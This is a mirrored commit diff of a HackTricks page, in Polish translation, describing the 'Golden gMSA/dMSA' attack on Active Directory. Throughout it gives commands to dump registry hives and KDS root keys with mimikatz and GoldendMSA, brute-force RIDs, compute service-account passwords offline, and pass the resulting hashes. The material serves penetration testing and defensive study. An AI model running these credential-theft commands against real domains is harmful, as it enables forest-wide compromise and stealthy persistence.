mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/golden-d
This commit is contained in:
parent
8c13b96b41
commit
17e30b5867
@ -1,4 +1,4 @@
|
|||||||
# Złoty gMSA/dMSA Atak (Offline Derywacja Haseł Kont Zarządzanych)
|
# Złoty gMSA/dMSA Atak (Offline Derivacja Haseł Kont Usług Zarządzanych)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -15,25 +15,25 @@ Dla obu wariantów **hasło nie jest przechowywane** na każdym Kontrolerze Dome
|
|||||||
* **SID** docelowego konta.
|
* **SID** docelowego konta.
|
||||||
* **ManagedPasswordID** (GUID) na poziomie konta, znajdującego się w atrybucie `msDS-ManagedPasswordId`.
|
* **ManagedPasswordID** (GUID) na poziomie konta, znajdującego się w atrybucie `msDS-ManagedPasswordId`.
|
||||||
|
|
||||||
Derywacja to: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240-bajtowy blob, który jest ostatecznie **zakodowany w base64** i przechowywany w atrybucie `msDS-ManagedPassword`. Nie jest wymagany żaden ruch Kerberos ani interakcja z domeną podczas normalnego użycia hasła – host członkowski wyprowadza hasło lokalnie, o ile zna trzy wejścia.
|
Derivacja to: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240-bajtowy blob, który jest ostatecznie **zakodowany w base64** i przechowywany w atrybucie `msDS-ManagedPassword`. Nie jest wymagany żaden ruch Kerberos ani interakcja z domeną podczas normalnego użycia hasła – host członkowski wyprowadza hasło lokalnie, o ile zna trzy wejścia.
|
||||||
|
|
||||||
## Złoty gMSA / Złoty dMSA Atak
|
## Złoty gMSA / Złoty dMSA Atak
|
||||||
|
|
||||||
Jeśli atakujący może uzyskać wszystkie trzy wejścia **offline**, może obliczyć **ważne aktualne i przyszłe hasła** dla **dowolnego gMSA/dMSA w lesie**, nie dotykając ponownie DC, omijając:
|
Jeśli atakujący może uzyskać wszystkie trzy wejścia **offline**, może obliczyć **ważne aktualne i przyszłe hasła** dla **dowolnego gMSA/dMSA w lesie** bez ponownego dotykania DC, omijając:
|
||||||
|
|
||||||
* logi wstępnej autoryzacji Kerberos / żądania biletów
|
* Audyt odczytu LDAP
|
||||||
* audyt odczytu LDAP
|
* Interwały zmiany hasła (mogą je wstępnie obliczyć)
|
||||||
* interwały zmiany haseł (mogą je wstępnie obliczyć)
|
|
||||||
|
|
||||||
Jest to analogiczne do *Złotego Biletu* dla kont usługowych.
|
Jest to analogiczne do *Złotego Biletu* dla kont usługowych.
|
||||||
|
|
||||||
### Wymagania wstępne
|
### Wymagania wstępne
|
||||||
|
|
||||||
1. **Kompromitacja na poziomie lasu** **jednego DC** (lub Administratora Enterprise). Dostęp `SYSTEM` jest wystarczający.
|
1. **Kompromitacja na poziomie lasu** **jednego DC** (lub Administratora Enterprise), lub dostęp `SYSTEM` do jednego z DC w lesie.
|
||||||
2. Możliwość enumeracji kont usługowych (odczyt LDAP / brute-force RID).
|
2. Możliwość enumeracji kont usługowych (odczyt LDAP / brutalne siłowe atakowanie RID).
|
||||||
3. Stacja robocza .NET ≥ 4.7.2 x64 do uruchomienia [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) lub równoważnego kodu.
|
3. Stacja robocza .NET ≥ 4.7.2 x64 do uruchomienia [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) lub równoważnego kodu.
|
||||||
|
|
||||||
### Faza 1 – Ekstrakcja Klucza KDS Root
|
### Złoty gMSA / dMSA
|
||||||
|
##### Faza 1 – Ekstrakcja Klucza KDS Root
|
||||||
|
|
||||||
Zrzut z dowolnego DC (Kopia Cienia Woluminu / surowe hives SAM+SECURITY lub zdalne sekrety):
|
Zrzut z dowolnego DC (Kopia Cienia Woluminu / surowe hives SAM+SECURITY lub zdalne sekrety):
|
||||||
```cmd
|
```cmd
|
||||||
@ -43,16 +43,25 @@ reg save HKLM\SYSTEM system.hive
|
|||||||
# With mimikatz on the DC / offline
|
# With mimikatz on the DC / offline
|
||||||
mimikatz # lsadump::secrets
|
mimikatz # lsadump::secrets
|
||||||
mimikatz # lsadump::trust /patch # shows KDS root keys too
|
mimikatz # lsadump::trust /patch # shows KDS root keys too
|
||||||
|
|
||||||
|
# With GoldendMSA
|
||||||
|
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
|
||||||
|
GoldendMSA.exe kds
|
||||||
|
|
||||||
|
# With GoldenGMSA
|
||||||
|
GoldenGMSA.exe kdsinfo
|
||||||
```
|
```
|
||||||
Ciąg base64 oznaczony jako `RootKey` (nazwa GUID) jest wymagany w późniejszych krokach.
|
Ciąg base64 oznaczony jako `RootKey` (nazwa GUID) jest wymagany w późniejszych krokach.
|
||||||
|
|
||||||
### Faza 2 – Enumeracja obiektów gMSA/dMSA
|
##### Faza 2 – Enumeracja obiektów gMSA / dMSA
|
||||||
|
|
||||||
Pobierz przynajmniej `sAMAccountName`, `objectSid` i `msDS-ManagedPasswordId`:
|
Pobierz przynajmniej `sAMAccountName`, `objectSid` i `msDS-ManagedPasswordId`:
|
||||||
```powershell
|
```powershell
|
||||||
# Authenticated or anonymous depending on ACLs
|
# Authenticated or anonymous depending on ACLs
|
||||||
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
||||||
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
|
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
|
||||||
|
|
||||||
|
GoldenGMSA.exe gmsainfo
|
||||||
```
|
```
|
||||||
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementuje tryby pomocnicze:
|
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementuje tryby pomocnicze:
|
||||||
```powershell
|
```powershell
|
||||||
@ -62,29 +71,27 @@ GoldendMSA.exe info -d example.local -m ldap
|
|||||||
# RID brute force if anonymous binds are blocked
|
# RID brute force if anonymous binds are blocked
|
||||||
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||||
```
|
```
|
||||||
### Faza 3 – Zgadnij / Odkryj ManagedPasswordID (gdy brakuje)
|
##### Faza 3 – Zgadnij / Odkryj ManagedPasswordID (gdy brakuje)
|
||||||
|
|
||||||
Niektóre wdrożenia *usuwają* `msDS-ManagedPasswordId` z odczytów chronionych przez ACL.
|
Niektóre wdrożenia *usuwają* `msDS-ManagedPasswordId` z odczytów chronionych przez ACL.
|
||||||
Ponieważ GUID ma 128 bitów, naiwne brute force jest niepraktyczne, ale:
|
Ponieważ GUID ma 128 bitów, naiwne brute force jest niepraktyczne, ale:
|
||||||
|
|
||||||
1. Pierwsze **32 bity = czas epoki Unix** utworzenia konta (rozdzielczość minutowa).
|
1. Pierwsze **32 bity = czas epoki Unix** utworzenia konta (z dokładnością do minut).
|
||||||
2. Następnie 96 losowych bitów.
|
2. Następnie 96 losowych bitów.
|
||||||
|
|
||||||
Dlatego **wąska lista słów dla każdego konta** (± kilka godzin) jest realistyczna.
|
Dlatego **wąska lista słów dla konta** (± kilka godzin) jest realistyczna.
|
||||||
```powershell
|
```powershell
|
||||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||||
```
|
```
|
||||||
Narzędzie oblicza kandydatów na hasła i porównuje ich blob base64 z rzeczywistym atrybutem `msDS-ManagedPassword` – dopasowanie ujawnia poprawny GUID.
|
Narzędzie oblicza kandydatów na hasła i porównuje ich blob base64 z rzeczywistym atrybutem `msDS-ManagedPassword` – dopasowanie ujawnia poprawny GUID.
|
||||||
|
|
||||||
### Faza 4 – Offline Obliczanie Hasła i Konwersja
|
##### Faza 4 – Offline Obliczanie Hasła i Konwersja
|
||||||
|
|
||||||
Gdy ManagedPasswordID jest znane, ważne hasło jest na wyciągnięcie ręki:
|
Gdy znany jest ManagedPasswordID, ważne hasło jest na wyciągnięcie ręki:
|
||||||
```powershell
|
```powershell
|
||||||
# derive base64 password
|
# derive base64 password
|
||||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
|
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
|
||||||
|
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
|
||||||
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
|
|
||||||
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
|
|
||||||
```
|
```
|
||||||
Wynikowe hashe mogą być wstrzykiwane za pomocą **mimikatz** (`sekurlsa::pth`) lub **Rubeus** w celu nadużycia Kerberos, co umożliwia ukryty **lateral movement** i **persistence**.
|
Wynikowe hashe mogą być wstrzykiwane za pomocą **mimikatz** (`sekurlsa::pth`) lub **Rubeus** w celu nadużycia Kerberos, co umożliwia ukryty **lateral movement** i **persistence**.
|
||||||
|
|
||||||
@ -99,13 +106,15 @@ Wynikowe hashe mogą być wstrzykiwane za pomocą **mimikatz** (`sekurlsa::pth`)
|
|||||||
## Narzędzia
|
## Narzędzia
|
||||||
|
|
||||||
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – implementacja referencyjna używana na tej stronie.
|
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – implementacja referencyjna używana na tej stronie.
|
||||||
|
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – implementacja referencyjna używana na tej stronie.
|
||||||
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
|
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
|
||||||
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket przy użyciu pochodnych kluczy AES.
|
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket przy użyciu pochodnych kluczy AES.
|
||||||
|
|
||||||
## Odniesienia
|
## Odniesienia
|
||||||
|
|
||||||
- [Golden dMSA – obejście uwierzytelniania dla delegowanych zarządzanych kont serwisowych](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
- [Golden dMSA – obejście uwierzytelniania dla delegowanych zarządzanych kont serwisowych](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
||||||
- [Repozytorium Semperis/GoldenDMSA na GitHubie](https://github.com/Semperis/GoldenDMSA)
|
- [gMSA Ataki Active Directory Konta](https://www.semperis.com/blog/golden-gmsa-attack/)
|
||||||
|
- [Repozytorium GitHub Semperis/GoldenDMSA](https://github.com/Semperis/GoldenDMSA)
|
||||||
- [Improsec – atak zaufania Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
- [Improsec – atak zaufania Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user